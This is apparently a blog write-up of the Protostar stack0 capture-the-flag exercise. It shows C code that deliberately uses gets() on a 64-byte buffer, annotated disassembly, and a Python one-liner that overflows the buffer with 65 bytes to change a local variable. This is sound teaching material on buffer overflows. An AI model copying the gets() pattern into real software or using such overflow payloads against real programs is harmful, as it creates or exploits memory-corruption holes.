Let's discover stack-based buffer overflows with the first Protostar challenge: stack0.
Here is the vulnerable C code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
stack0 static analysis
File infos:
stack0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
Let's take a look at our binary using objdump -Mintel -j.text -D stack0
:
80483f4: 55 push ebp
80483f5: 89 e5 mov ebp,esp
80483f7: 83 e4 f0 and esp,0xfffffff0
80483fa: 83 ec 60 sub esp,0x60 ; 60h / 96d
80483fd: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 ; 4 bytes reserved, typically an local int variable ('modified')
8048404: 00
8048405: 8d 44 24 1c lea eax,[esp+0x1c] ; 68 - 4 bytes reserved
8048409: 89 04 24 mov DWORD PTR [esp],eax
804840c: e8 fb fe ff ff call 804830c <gets@plt>
8048411: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c]
8048415: 85 c0 test eax,eax ; 'modified' == 0x00 ?
8048417: 74 0e je 8048427 <main+0x33>
8048419: c7 04 24 00 85 04 08 mov DWORD PTR [esp],0x8048500 ; you have changed the 'modified' variable\0
8048420: e8 07 ff ff ff call 804832c <puts@plt>
8048425: eb 0c jmp 8048433 <main+0x3f> ; leave
8048427: c7 04 24 29 85 04 08 mov DWORD PTR [esp],0x8048529 ; Try again?\0
804842e: e8 f9 fe ff ff call 804832c <puts@plt>
8048433: c9 leave ; leave
8048434: c3 ret
0x8048500
and 0x8048529
are next to each other. A string in the binary is 0x29 bytes long and another string follows plus their offset matches (0x500). Let's annotate them in our output.
The bug / vulnerability resides in the usage of unsecure gets
function. Here is what the manual has to say about this function:
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with '\0'.
No check for buffer overrun is performed (see BUGS below).
And in the BUGS section:
Never use gets(). [...] it is extremely dangerous to use. It has been used to break computer security.
Use fgets() instead.
Breaking computer security right? Sounds fun. Let's perform that buffer overflow on our program.
We'll have to fill at least 64 bytes in our buffer to overflow it so we can modify the desired variable and pass the test.
Our payload uses 65 A
s bytes because we're sending a \n
at the end and gets replaces that \n
by a \0
which invalidates the test. 64 (+\n
) would such not be sufficient.
root@protostar:/opt/protostar/bin# python -c 'print "A"*64' | ./stack0 # modified is still 0 here
Try again?
root@protostar:/opt/protostar/bin# python -c 'print "A"*64' | xxd | tail -n1
0000040: 0a .
root@protostar:/opt/protostar/bin# python -c 'print "A"*65' | ./stack0
you have changed the 'modified' variable
Links
- download protostar challenges: https://drive.google.com/folderview?id=0B9RbZkKdRR8qbkJjQ2VXbWNlQzg&usp=sharing
- challenge presentation: https://exploit-exercises.lains.space/protostar/stack0/
Have fun!
Top comments (1)
Give the protostar series a try, it's easy to setup and you'll learn a hell of a lot!
There is more to come about this, hit that follow button!